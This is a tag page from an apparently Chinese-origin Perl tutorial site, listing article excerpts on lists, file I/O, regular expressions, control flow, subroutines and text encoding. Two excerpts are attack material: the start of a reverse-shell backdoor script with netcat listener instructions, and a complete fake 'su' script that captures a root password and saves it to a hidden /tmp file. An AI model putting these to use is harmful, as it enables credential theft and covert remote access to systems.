Tag:perl

  • Perl list and array variables

    Time:2019-10-31

    First, listList is a sequence of values contained in brackets. It can be any value or empty, for example: (1,; 5.3,; “hello”,; 2), empty list: ().Note: a list containing only one value (e.g., (43.2)) is different from the value itself (i.e., 43.2), but they can be converted or assigned to each other.List example:    (17, $var, “a string”)     (17, 26 << 2)     (17, $var1 + $var2) […]

  • Perl file read-write details

    Time:2019-10-30

    I. opening and closing filesThe syntax is open (filevar, filename), where filevar is the file handle, or the code used to represent a file in the program, filename is the file name, and its path can be relative or absolute.    open(FILE1,”file1″);    open(FILE1, “/u/jqpublic/file1”);Access mode must be determined when opening files. There are three access modes in Perl: […]

  • Details of Perl pattern matching parameters

    Time:2019-10-29

    I. IntroductionPattern refers to the characters of a specific sequence found in a string, which is composed of a backslash of / def /, i.e. pattern def. For example, the string is divided into several words with a certain pattern by combining the function split: @ array = split (/ /, $line);2. Matching operators = […]

  • Perl control structure condition control if while

    Time:2019-10-28

    I. condition judgment  if ( <expression>) {     <statement_block_1>   }   elsif ( <expression> ) {     <statement_block_2>   }   …   else{     <statement_block_3>   } II. Cycle:1. While loop  while ( <expression> ) {     <statement_block>   } 2. Until cycle  until ( <expression> ) {     <statement_block>   } 3. For loop of class C, such as  for ($count=1; $count <= 5; $count++) {     # statements inside the loop go here   } Here is an example of using the comma operator in a for loop:  for ($line = <STDIN>, $count = 1; $count <= 3;   $line = <STDIN>, $count++) {     print ($line);   } It is equivalent to the following statement:  $line = <STDIN>; […]

  • Perl subroutine sub

    Time:2019-10-27

    I. definitionA subroutine is a separate piece of code that performs a special task. It can reduce duplicate code and make the program readable. In Perl, subroutines can appear anywhere in the program. The definition method is:  sub subroutine{     statements;   } II. CallThe call method is as follows:1. Use & call  &subname;   …   sub subname{     …   } 2. First […]

  • Perl backdoor, forward and reverse! Instance code

    Time:2019-10-25

    By Xiaojie uses NC monitoring Reverse connection code: #!/usr/bin/perl #usage: #nc -vv -l -p PORT(default 1988) on your local system first,then #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988) #Type ‘exit’ to exit or press Enter to gain shell when u under the ‘console’. #nc -vv -l -p 1988 #perl backdoor.pl 127.0.0.1 1988 #use strict; use […]

  • Perl module writing instructions

    Time:2019-10-24

    Perl’s syntax is relatively obscure, mainly because some of the built-in variables and functions are handled quite delicately, and overly elaborate things are a bit more laborious to understand. Relative to the Shell, Perl, more powerful and efficient in many ways, such as a Hash (associative array) it is very nice, if you would have […]

  • Unit computer information acquisition program written in perl

    Time:2019-10-23

      Copy the codeThe code is as follows: It was mainly used to collect IP, MAC, name, room, and later added the maintenance record function. The server side accepts the data and stores it in the database.############################# use strict; use Tk; use Encode; # SOCKE parametersmy $PF_INET = 2; my $port = 2345; my $remote_addr = pack(‘SnC4x8’,$PF_INET,$port,192,168,138,228); my $SOCK_DGRAM = 2; #Frame my ($label_room, $label_name, $label_ctrl, $label_notice); # confirm, cancelmy ($enter, $cancel); Room, name variablemy ($room, $name); $room = ”; […]

  • Fake su.pl written by Perl to steal root password

    Time:2019-10-21

    I changed it to turn off echo and add a delay: #!/usr/bin/perl # Written by xi4oyu <[email protected]>. print “Password: “; `stty -echo`; $s1=<STDIN>; print “\n”; `stty echo`; sleep 3; print “su: incorrect password\n”; chomp($s1); $s2=”Password is: “; $s3=” “.`date +%Y-%m-%d`; open (users, “>>/tmp/.pass”) || die ; print users ($s2, $s1,$s3); close (users); It’s obvious that […]

  • Five common errors in Perl

    Time:2019-10-20

    I’ve been using Perl + mdbm + spread recently. PHP has been used for a long time. Python and Ruby have been used together. Perl, the classic scripting language, has never been touched. Now it’s nibbling at textbooks like a primary school student. It’s really much more difficult to find Perl. Other things didn’t make […]

  • Perl Chinese processing skills

    Time:2019-10-19

    Perl has been using utf8 encoding internally to represent characters since 5.6, that is to say, there should be no problem in the processing of Chinese and other language characters. We only need to make good use of the module encode to make full use of the advantages of Perl utf8 characters. Let’s take the […]

  • Perl learning materials arrangement page 1 of 4

    Time:2019-10-18

    Judgment of null value$t{type1id} = $$pref{dbh}->selectrow_array(“SELECT type1id FROM enq1 WHERE id = 3″); if ( $t{type1id} == 0 ) { print “Type1id is NULL\n”; } ==>If it is not a numeric item, there is a problem with this statement. Value item only.if ( length($t{type1id}) == 0 ) { print “Type1id is NULL\n”; } ==>If NULL, […]